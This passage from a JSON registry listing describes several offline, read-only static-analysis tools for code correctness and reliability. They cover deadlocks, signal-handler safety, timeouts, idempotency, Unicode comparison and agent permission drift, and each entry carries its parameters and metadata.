inside a function body, under `if __name__ == \"__main__\"`, under `if TYPE_CHECKING`, or deferred into a lambda or functools.partial is excluded structurally and counted, because deferring the work is the fix and flagging it would punish the person who already made it. Nothing is imported or executed. Read-only, offline. Needs python3, bash.","owner":{"kind":"user","slug":"lgoyal6"},"registry_organization":"lgoyal6","tags":["domain-engineering","performance-workflows","job-import-time-cost-audit","tool-static-analysis","tool-python","effect-read-only","import-time","module-scope","startup-latency","cold-start","test-collection-time","side-effects","python","ast","audience-developers","audience-sre","read-only","offline","no-api-key","no-credentials","local-only"],"primary_domain":"domain-engineering","author":"lgoyal6","version":"1.0.0","published_at":"2026-09-06T05:37:07.625917+00:00","visibility":"public","quality_score":1,"size_bytes":28336,"license":null,"stats":{"downloads":0,"installs":0},"steps":{"count":3,"names":["analyze","discover","selfcheck"]},"parameters":[{"name":"root","type":"string","required":true,"description":"ABSOLUTE path to the Python tree to read. A relative path is REFUSED, because a step runs in rote's own workspace rather than your shell directory, so a relative root would scan rote's workspace, find no Python, and report a confident clean about a tree nobody asked about.","example":"/Users/you/myservice"},{"name":"depth","type":"string","required":false,"default":"12","description":"How many directory levels below root find(1) descends.","example":"12"},{"name":"top","type":"string","required":false,"default":"15","description":"How many offending modules to print per severity before the rest are summarised as a count. Every module is always COUNTED; this only bounds the listing.","example":"15"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:19d81fa17edafc72ae63d34b5397533867e9a426234e3630718f359e4e16d7b7","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":3,"kinds":{"api":0,"shell":3,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":3,"width":1,"fan_out":12,"for_each_steps":1,"complexity":3,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":2},{"name":"bash","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/lgoyal6/signal-handler-safety@0.1.0","reference":"lgoyal6/signal-handler-safety@0.1.0","uri":"https://play.modiqo.ai/lgoyal6/signal-handler-safety@0.1.0","manifest_uri":"https://play.modiqo.ai/lgoyal6/signal-handler-safety@0.1.0","name":"signal-handler-safety","title":"signal-handler-safety","description":"A signal handler interrupts a thread wherever it happens to be. If it was inside malloc and the handler calls malloc, the allocator is re-entered mid-update; if the handler takes a lock the interrupted code already holds, it deadlocks against itself. POSIX names a short list of async-signal-safe calls and everything else is undefined behaviour that only lands under load. This play reads C and C++ handlers registered with signal() or sigaction(), and Python handlers registered with signal.signal(), resolves each handler body, and names the SPECIFIC unsafe call with its line: allocation, stdio, a lock, syslog, exit, a C++ stream, or in Python logging, print, subprocess, sleep and file I/O. Python handlers that do real work rather than setting a flag are flagged too. A handler defined in another file is reported UNRESOLVED, never assumed clean. SIG_IGN, write(2), _exit(2) and a bare sig_atomic_t flag are excluded with a count. Executes nothing, reads only.","owner":{"kind":"user","slug":"lgoyal6"},"registry_organization":"lgoyal6","tags":["domain-engineering","correctness-workflows","job-signal-safety-audit","tool-static-analysis","effect-read-only","signal-handler","async-signal-safe","reentrancy","deadlock","crash-handler","concurrency","posix","c","cpp","python","audience-developers","audience-sre","read-only","offline","no-api-key","no-credentials","local-only"],"primary_domain":"domain-engineering","author":"lgoyal6","version":"0.1.0","published_at":"2026-09-06T05:33:25.683397+00:00","visibility":"public","quality_score":1,"size_bytes":30605,"license":null,"stats":{"downloads":0,"installs":0},"steps":{"count":3,"names":["analyze","discover","selfcheck"]},"parameters":[{"name":"root","type":"string","required":true,"description":"ABSOLUTE path to a directory tree of source code. A relative path is refused with exit 2, because a step runs in rote's own workspace rather than your shell directory and would scan the wrong tree and report it as your answer.","example":"/Users/you/code"},{"name":"depth","type":"string","required":false,"default":"8","description":"How many directory levels below root to search for source files. Must be 1 to 12.","example":"6"},{"name":"top","type":"string","required":false,"default":"6","description":"How many handlers to print in full before the rest become a one-line index. Every handler is still analysed and counted.","example":"6"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:b56a5a216fd1de9ac8ebbb2ac83c9dd9d7f1909530c7596d164d9d86c981fd58","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":3,"kinds":{"api":0,"shell":3,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":2,"fan_out":8,"for_each_steps":1,"complexity":3,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":2},{"name":"bash","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/lgoyal6/memory-ownership@1.0.0","reference":"lgoyal6/memory-ownership@1.0.0","uri":"https://play.modiqo.ai/lgoyal6/memory-ownership@1.0.0","manifest_uri":"https://play.modiqo.ai/lgoyal6/memory-ownership@1.0.0","name":"memory-ownership","title":"memory-ownership","description":"Static ownership analysis is approximate and this play says so on every finding, because a leak report that sounds certain is one a reader stops checking. Four questions about C and C++ allocation. A malloc, calloc, strdup or new bound to a local that is never freed, never returned, never stored and never handed to another function. One freed on the happy path with a return between the allocation and the free. A function that returns allocated memory with no comment saying who frees it. And a raw owning `new` in a file that uses unique_ptr elsewhere, which is two conventions in one file. What is NOT reported is counted and named: a goto-cleanup exit, a create/free pair defined in the same file, a return on the path where the allocation failed, a pointer stored into a struct, a new consumed by a smart pointer. C and C++. Read-only, offline, no credentials.","owner":{"kind":"user","slug":"lgoyal6"},"registry_organization":"lgoyal6","tags":["domain-engineering","reliability-workflows","job-ownership-audit","tool-static-analysis","effect-read-only","memory-ownership","memory-leak","systems-programming","c","cpp","raii","smart-pointers","malloc","resource-lifetime","undefined-behavior","audience-developers","audience-sre","read-only","offline","no-api-key","no-credentials","local-only"],"primary_domain":"domain-engineering","author":"lgoyal6","version":"1.0.0","published_at":"2026-09-06T05:32:41.218809+00:00","visibility":"public","quality_score":1,"size_bytes":29509,"license":null,"stats":{"downloads":0,"installs":0},"steps":{"count":3,"names":["analyze","discover","selfcheck"]},"parameters":[],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:80427f262450e57b41deb6efa1152b2950aed3fe991ba4ec28ecbac399f5b8ce","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":3,"kinds":{"api":0,"shell":3,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":3,"width":1,"fan_out":12,"for_each_steps":1,"complexity":3,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":2},{"name":"bash","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/lgoyal6/lock-ordering@0.1.0","reference":"lgoyal6/lock-ordering@0.1.0","uri":"https://play.modiqo.ai/lgoyal6/lock-ordering@0.1.0","manifest_uri":"https://play.modiqo.ai/lgoyal6/lock-ordering@0.1.0","name":"lock-ordering","title":"lock-ordering","description":"Two code paths take the same pair of locks in opposite orders. That is the textbook deadlock, and review misses it because the two halves live in different files and nobody holds both in their head at once. This play reads C, C++, Go and Python, extracts every nested acquisition as an edge \"B was taken while A was held\", joins the edges across the whole tree, and reports the CYCLES with both call sites, file and line. Ranked by structural confidence: two distinct files with distinctly named locks first, one function last. std::lock and scoped_lock, try-locks, and the same lock nested twice are excluded with a count, because none of them can close a wait cycle. Lock expressions a static read cannot pin down - a call result, a variable subscript - are reported UNRESOLVED, never as clean. This is NOT proof of a deadlock: source text cannot show the two paths ever overlap. Executes nothing, reads only. Needs python3 and bash.","owner":{"kind":"user","slug":"lgoyal6"},"registry_organization":"lgoyal6","tags":["domain-engineering","correctness-workflows","job-deadlock-audit","tool-static-analysis","effect-read-only","deadlock","lock-ordering","lock-inversion","mutex","concurrency","thread-safety","c","cpp","go","python","audience-developers","audience-sre","read-only","offline","no-api-key","no-credentials","local-only"],"primary_domain":"domain-engineering","author":"lgoyal6","version":"0.1.0","published_at":"2026-09-06T05:32:19.690524+00:00","visibility":"public","quality_score":1,"size_bytes":31015,"license":null,"stats":{"downloads":0,"installs":0},"steps":{"count":3,"names":["analyze","discover","selfcheck"]},"parameters":[{"name":"root","type":"string","required":true,"description":"ABSOLUTE path to a directory tree of source code. A relative path is refused with exit 2, because a step runs in rote's own workspace rather than your shell directory and would scan the wrong tree and report it as your answer.","example":"/Users/you/code"},{"name":"depth","type":"string","required":false,"default":"8","description":"How many directory levels below root to search for source files. Must be 1 to 12.","example":"6"},{"name":"top","type":"string","required":false,"default":"6","description":"How many full cycles to print before the rest become a one-line index. Every cycle is still found and counted.","example":"6"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:a1b0b61a525fe6c0cf1b422e32e28de3ff5dc39dd92416af9c12fd8050f87c22","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":3,"kinds":{"api":0,"shell":3,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":2,"fan_out":8,"for_each_steps":1,"complexity":3,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":2},{"name":"bash","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/lgoyal6/partial-failure-handling@0.1.0","reference":"lgoyal6/partial-failure-handling@0.1.0","uri":"https://play.modiqo.ai/lgoyal6/partial-failure-handling@0.1.0","manifest_uri":"https://play.modiqo.ai/lgoyal6/partial-failure-handling@0.1.0","name":"partial-failure-handling","title":"partial-failure-handling","description":"What in this codebase can stop half way? The interesting failure is not the one that fails: it is the one that succeeds four times, fails the fifth, and returns an error as though nothing had happened, while four rows, four charges or four emails are already out there and nothing says which four. Three shapes: a loop that writes on every iteration with no transaction, no bulk statement and no compensating delete; a Promise.all or asyncio.gather over effectful work, where the first rejection settles the call and every other branch carries on with nobody waiting for it; and two or more distinct external effects in sequence - charge, write, send - with no rollback, refund or cancel on the error path. Transactions, bulk writes, allSettled, return_exceptions, task groups, upserts and compensating actions are recognised, counted and named. Python, JS/TS, Go. Read-only, offline; prints its own self-check first.","owner":{"kind":"user","slug":"lgoyal6"},"registry_organization":"lgoyal6","tags":["domain-engineering","reliability-workflows","job-reliability-audit","tool-static-analysis","effect-read-only","partial-failure","atomicity","transactions","promise-all","saga","compensating-action","data-consistency","batch-processing","distributed-systems","audience-developers","audience-sre","audience-backend","read-only","offline","no-api-key","no-credentials","local-only"],"primary_domain":"domain-engineering","author":"lgoyal6","version":"0.1.0","published_at":"2026-09-06T05:30:33.414194+00:00","visibility":"public","quality_score":1,"size_bytes":37737,"license":null,"stats":{"downloads":0,"installs":0},"steps":{"count":3,"names":["analyze","discover","selfcheck"]},"parameters":[{"name":"root","type":"string","required":true,"description":"ABSOLUTE path to the codebase to scan. A relative path is refused with exit 2, because a step runs in rote's own workspace rather than your shell directory and would scan the wrong tree and report it as your answer.","example":"/Users/you/code/myproject"},{"name":"max_files","type":"string","required":false,"default":"6000","description":"Cap on Python/JavaScript/TypeScript/Go files walked. A scan that hits the cap is marked PARTIAL so a capped read is never reported as a clean one.","example":"6000"},{"name":"top","type":"string","required":false,"default":"12","description":"How many full findings to print before the rest become a one-line index. Every finding is still analysed and counted.","example":"12"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:c0b658090c59b73bf53d1d9aa0a0c5f8849f3b139a0b41f217712cfa7d7c239d","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":3,"kinds":{"api":0,"shell":3,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":2,"fan_out":8,"for_each_steps":1,"complexity":3,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":2},{"name":"bash","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/lgoyal6/idempotency-gaps@0.1.0","reference":"lgoyal6/idempotency-gaps@0.1.0","uri":"https://play.modiqo.ai/lgoyal6/idempotency-gaps@0.1.0","manifest_uri":"https://play.modiqo.ai/lgoyal6/idempotency-gaps@0.1.0","name":"idempotency-gaps","title":"idempotency-gaps","description":"Which operations in this codebase run twice? The retry is not in this code, and that is the point: the queue redelivers, the gateway replays, the sender retries a webhook it saw no 2xx for, the user double-clicks. What IS in this code is whether the operation on the receiving end could notice it has already run. Three shapes: an entry point that is AT LEAST ONCE by contract - a webhook route, an SQS/Kafka/Pub-Sub consumer, a Celery or BullMQ task, a cron handler - whose body creates a row, moves money or sends a message with no idempotency key, no unique constraint, no upsert and no already-seen check; a charge, refund, transfer, email or SMS with no idempotency key wherever it is called from; and a counter or balance read, changed in this process and written back, which a replay doubles. get_or_create, ON CONFLICT, SETNX, F(), $inc, row locks and GET/PUT/DELETE handlers are recognised and counted. Read-only, offline; prints its own self-check first.","owner":{"kind":"user","slug":"lgoyal6"},"registry_organization":"lgoyal6","tags":["domain-engineering","reliability-workflows","job-reliability-audit","tool-static-analysis","effect-read-only","idempotency","at-least-once","double-charge","exactly-once","webhooks","message-queue","celery","payments","duplicate-delivery","audience-developers","audience-sre","audience-backend","read-only","offline","no-api-key","no-credentials","local-only"],"primary_domain":"domain-engineering","author":"lgoyal6","version":"0.1.0","published_at":"2026-09-06T05:30:26.233383+00:00","visibility":"public","quality_score":1,"size_bytes":38469,"license":null,"stats":{"downloads":0,"installs":0},"steps":{"count":3,"names":["analyze","discover","selfcheck"]},"parameters":[{"name":"root","type":"string","required":true,"description":"ABSOLUTE path to the codebase to scan. A relative path is refused with exit 2, because a step runs in rote's own workspace rather than your shell directory and would scan the wrong tree and report it as your answer.","example":"/Users/you/code/myproject"},{"name":"max_files","type":"string","required":false,"default":"6000","description":"Cap on Python/JavaScript/TypeScript/Go files walked. A scan that hits the cap is marked PARTIAL so a capped read is never reported as a clean one.","example":"6000"},{"name":"top","type":"string","required":false,"default":"12","description":"How many full findings to print before the rest become a one-line index. Every finding is still analysed and counted.","example":"12"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:46835dd7acbce93865ccc26bf9043f161ca303b22ed11e3321efddee96f80f1e","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":3,"kinds":{"api":0,"shell":3,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":2,"fan_out":8,"for_each_steps":1,"complexity":3,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":2},{"name":"bash","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/lgoyal6/license-header-drift@0.1.0","reference":"lgoyal6/license-header-drift@0.1.0","uri":"https://play.modiqo.ai/lgoyal6/license-header-drift@0.1.0","manifest_uri":"https://play.modiqo.ai/lgoyal6/license-header-drift@0.1.0","name":"license-header-drift","title":"license-header-drift","description":"Compares a tree's licence headers against ITSELF. The expected header is derived from what the majority of each file type actually carries - never a hardcoded template - so a BSD project is not measured against somebody else's Apache boilerplate, and a tree whose convention is genuinely NO header is reported as having none instead of producing thousands of findings. Three answers: source files missing the header the rest of that file type uses, headers naming a licence that disagrees with the project's own LICENSE file, and copyright years that stopped being updated while the tree moved on. Classification is by each licence's operative PHRASING, so a file that merely mentions Apache in a comment is not called Apache-licensed. Generated and vendored files are excluded with a reason and counted. A copyright holder is dropped by position and never printed. Read-only, offline, no credentials.","owner":{"kind":"user","slug":"lgoyal6"},"registry_organization":"lgoyal6","tags":["domain-engineering","compliance-workflows","job-license-audit","tool-git","effect-read-only","license-header","spdx","copyright","header-drift","convention-drift","repo-hygiene","audience-maintainers","read-only","offline","no-credentials","local-only"],"primary_domain":"domain-engineering","author":"lgoyal6","version":"0.1.0","published_at":"2026-09-06T05:30:18.942377+00:00","visibility":"public","quality_score":1,"size_bytes":21945,"license":null,"stats":{"downloads":0,"installs":0},"steps":{"count":3,"names":["analyze","discover","selfcheck"]},"parameters":[{"name":"root","type":"string","required":true,"description":"ABSOLUTE path to the git work tree to audit. A relative path is refused, because a step runs in rote's own workspace and would read the wrong tree.","example":"/Users/you/src/your-repo"},{"name":"max_files","type":"string","required":false,"default":"40000","description":"Cap on tracked source files opened. Exceeding it is reported as PARTIAL, never as a clean result.","example":"10000"},{"name":"stale_years","type":"string","required":false,"default":"3","description":"How many years behind the tree's newest copyright year a file must be before its year counts as having stopped being updated.","example":"5"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:a6b94247f6ca5de2fa817a963d53f3b131ecddb03f57bbe23e963f29b98b065d","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":3,"kinds":{"api":0,"shell":3,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":3,"width":1,"fan_out":8,"for_each_steps":1,"complexity":3,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":2},{"name":"bash","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/lgoyal6/timeout-absence@0.1.0","reference":"lgoyal6/timeout-absence@0.1.0","uri":"https://play.modiqo.ai/lgoyal6/timeout-absence@0.1.0","manifest_uri":"https://play.modiqo.ai/lgoyal6/timeout-absence@0.1.0","name":"timeout-absence","title":"timeout-absence","description":"What in this codebase can wait forever? A call with no timeout does not fail, it hangs, and it takes the worker running it down with it until somebody restarts the process - there is no exception to catch, because nothing ever returns. Four families: an HTTP call with no timeout=, timeout: or signal:; a raw socket connected or read with no settimeout, whose default is BLOCKING; communicate(), wait() or run() on a child with no timeout; and a query on a connection whose file sets no statement timeout. Coverage is half the answer: a call with no timeout of its own made through a client, session or transport this file builds WITH one is named as COVERED, not reported, so you can tell nobody set a timeout from the timeout is set one screen up. asyncio.wait_for, context.WithTimeout, AbortController, DialTimeout and CommandContext are recognised. Go's http.Get uses DefaultClient, whose zero Timeout means none. Python, JS/TS, Go. Read-only, offline; prints its own self-check first.","owner":{"kind":"user","slug":"lgoyal6"},"registry_organization":"lgoyal6","tags":["domain-engineering","reliability-workflows","job-reliability-audit","tool-static-analysis","effect-read-only","timeouts","hung-request","resource-exhaustion","http-client","socket","subprocess","statement-timeout","availability","audience-developers","audience-sre","audience-oncall","read-only","offline","no-api-key","no-credentials","local-only"],"primary_domain":"domain-engineering","author":"lgoyal6","version":"0.1.0","published_at":"2026-09-06T05:30:17.572451+00:00","visibility":"public","quality_score":1,"size_bytes":40019,"license":null,"stats":{"downloads":0,"installs":0},"steps":{"count":3,"names":["analyze","discover","selfcheck"]},"parameters":[{"name":"root","type":"string","required":true,"description":"ABSOLUTE path to the codebase to scan. A relative path is refused with exit 2, because a step runs in rote's own workspace rather than your shell directory and would scan the wrong tree and report it as your answer.","example":"/Users/you/code/myproject"},{"name":"max_files","type":"string","required":false,"default":"6000","description":"Cap on Python/JavaScript/TypeScript/Go files walked. A scan that hits the cap is marked PARTIAL so a capped read is never reported as a clean one.","example":"6000"},{"name":"top","type":"string","required":false,"default":"12","description":"How many full findings to print before the rest become a one-line index. Every finding is still analysed and counted.","example":"12"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:53dab5478db929aabeb950bfac5c1812a535b835c1954cf6449d90f57b9574f4","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":3,"kinds":{"api":0,"shell":3,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":2,"fan_out":8,"for_each_steps":1,"complexity":3,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":2},{"name":"bash","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/lgoyal6/file-write-races@0.1.0","reference":"lgoyal6/file-write-races@0.1.0","uri":"https://play.modiqo.ai/lgoyal6/file-write-races@0.1.0","manifest_uri":"https://play.modiqo.ai/lgoyal6/file-write-races@0.1.0","name":"file-write-races","title":"file-write-races","description":"Several writers to one path, with no lock and no atomic replace. A cache written straight over itself so a reader can see it half-written; a log opened in append from more than one process; a lockfile whose existence check and create have a gap between them, which is the one bug a lockfile exists to prevent. Reads Python, Go, JavaScript, TypeScript and C, collects every open-for-write with its path, then GROUPS BY PATH across the whole tree and names every writer with file and line. Ranked by structural confidence: two writers in different files to the same literal path first, one writer last. Write-then-os.replace, a write under flock or a file lock, and per-process temp paths are excluded with a count. A path built at runtime is UNRESOLVED, never folded into a group. This is NOT proof of a race: text cannot show two writers overlap. Executes nothing, writes nothing, reads only. Needs python3 and bash.","owner":{"kind":"user","slug":"lgoyal6"},"registry_organization":"lgoyal6","tags":["domain-engineering","correctness-workflows","job-file-race-audit","tool-static-analysis","effect-read-only","race-condition","file-io","atomic-replace","lockfile","toctou","concurrency","durability","python","go","javascript","typescript","c","audience-developers","audience-sre","read-only","offline","no-api-key","no-credentials","local-only"],"primary_domain":"domain-engineering","author":"lgoyal6","version":"0.1.0","published_at":"2026-09-06T05:30:08.722887+00:00","visibility":"public","quality_score":1,"size_bytes":30846,"license":null,"stats":{"downloads":0,"installs":0},"steps":{"count":3,"names":["analyze","discover","selfcheck"]},"parameters":[{"name":"root","type":"string","required":true,"description":"ABSOLUTE path to a directory tree of source code. A relative path is refused with exit 2, because a step runs in rote's own workspace rather than your shell directory and would scan the wrong tree and report it as your answer.","example":"/Users/you/code"},{"name":"depth","type":"string","required":false,"default":"8","description":"How many directory levels below root to search for source files. Must be 1 to 12.","example":"6"},{"name":"top","type":"string","required":false,"default":"6","description":"How many contested paths to print in full before the rest become a one-line index. Every path is still grouped and counted.","example":"6"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:bbc55c2c16d3b317fef512d6ce2415e689081620da9c8fe81449901d1a4a5ed6","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":3,"kinds":{"api":0,"shell":3,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":2,"fan_out":8,"for_each_steps":1,"complexity":3,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":2},{"name":"bash","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/lgoyal6/unicode-normalization@1.0.0","reference":"lgoyal6/unicode-normalization@1.0.0","uri":"https://play.modiqo.ai/lgoyal6/unicode-normalization@1.0.0","manifest_uri":"https://play.modiqo.ai/lgoyal6/unicode-normalization@1.0.0","name":"unicode-normalization","title":"unicode-normalization","description":"Unicode gives the same visible text more than one encoding. `e` plus a combining accent is not `\\u00e9` under any `==`, and macOS hands you the decomposed form off the filesystem while almost everything else hands you the composed one. Case folding is worse: it is not injective. U+212A KELVIN SIGN lowercases to `k`, the `fi` ligature casefolds to `fi`, and U+0130 lowercases to `i` plus a combining dot rather than `i` - so two different strings compare equal and two identical-looking ones do not. This reports the comparison AND what it is used for: identity by case fold, a filename from listdir compared raw, one side normalised and the other not, and a person's text cut or limited by Python code points or JavaScript UTF-16 units where graphemes were meant. A display-only lowercase is not a finding, and neither is dispatch on an ASCII keyword: both are excluded by name and counted. Read-only, offline.","owner":{"kind":"user","slug":"lgoyal6"},"registry_organization":"lgoyal6","tags":["domain-engineering","code-quality","job-correctness-audit","tool-static-analysis","effect-read-only","unicode","normalization","nfc","nfd","case-folding","grapheme-clusters","utf-16","turkish-i","homoglyph","identity","python","javascript","typescript","audience-developers","audience-security","read-only","offline","no-api-key","no-credentials","local-only"],"primary_domain":"domain-engineering","author":"lgoyal6","version":"1.0.0","published_at":"2026-09-06T05:30:00.417492+00:00","visibility":"public","quality_score":1,"size_bytes":34891,"license":null,"stats":{"downloads":0,"installs":0},"steps":{"count":3,"names":["analyze","discover","selfcheck"]},"parameters":[{"name":"root","type":"string","required":true,"description":"Directory tree to audit. Must be an ABSOLUTE path, because a step runs inside rote's own workspace rather than your shell directory, so a relative path would scan the wrong tree and report it clean","example":"/Users/you/project"},{"name":"depth","type":"string","required":false,"default":"10","description":"How many directory levels below root to search for source","example":"6"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:dfa6a8027ed2a89fe843215067eaa6d3e4c12edfc07e17f09e5c13edc988f581","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":3,"kinds":{"api":0,"shell":3,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":3,"width":1,"fan_out":12,"for_each_steps":1,"complexity":3,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":2},{"name":"bash","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/lgoyal6/harness-permission-drift@0.1.0","reference":"lgoyal6/harness-permission-drift@0.1.0","uri":"https://play.modiqo.ai/lgoyal6/harness-permission-drift@0.1.0","manifest_uri":"https://play.modiqo.ai/lgoyal6/harness-permission-drift@0.1.0","name":"harness-permission-drift","title":"harness-permission-drift","description":"Your agent stops to ask in one project and not the next, and nobody can say why. This answers it with the EFFECTIVE grant rather than the literal allow-list. It reads Claude Code user and project settings, both settings.json and the untracked settings.local.json, plus Codex trust records, builds the rule set an agent working in each directory actually gets, and reduces it to the rules that grant something. Reported: rules that are dead because a broader rule already covers them; a grant present in some projects and absent from others; grants that exist only in a personal settings.local.json, so no teammate and no CI run has them; an allow rule a deny rule swallows entirely; and directories one harness trusts while the other has no record. Coverage is structural and boundary-anchored, never a substring test - Bash(git p) does not cover Bash(git push), and a scanner that says it does tells you to delete a grant you still need. Rules are never executed and no value is inferred from one.","owner":{"kind":"user","slug":"lgoyal6"},"registry_organization":"lgoyal6","tags":["domain-security","operations-workflows","job-agent-permission-audit","tool-shell","effect-read-only","coding-agents","claude-code","codex","permissions","allow-list","policy-drift","agent-harness","audience-developers","audience-security-engineers","read-only","offline","no-credentials","local-only"],"primary_domain":"domain-security","author":"lgoyal6","version":"0.1.0","published_at":"2026-09-06T05:29:59.12047+00:00","visibility":"public","quality_score":1,"size_bytes":19139,"license":null,"stats":{"downloads":0,"installs":0},"steps":{"count":3,"names":["analyze","discover","selfcheck"]},"parameters":[{"name":"root","type":"string","required":true,"description":"Absolute directory to search for project-scoped .claude/settings.json and .claude/settings.local.json. A process.exec step runs in rote's workspace, not your shell, so a relative value would walk rote's own scratch directory, find no project settings at all, and the report would say every project agrees; a relative value is refused with exit 2.","example":"/Users/you/src"},{"name":"agent_home","type":"string","required":false,"default":"","description":"Absolute path to the home directory holding the user scope (.claude/settings.json, .claude.json, .codex/config.toml). Empty means $HOME. Absolute for the same reason as root, and refused if relative.","example":"/Users/you"},{"name":"depth","type":"string","required":false,"default":"4","description":"How many directory levels below root to search for project 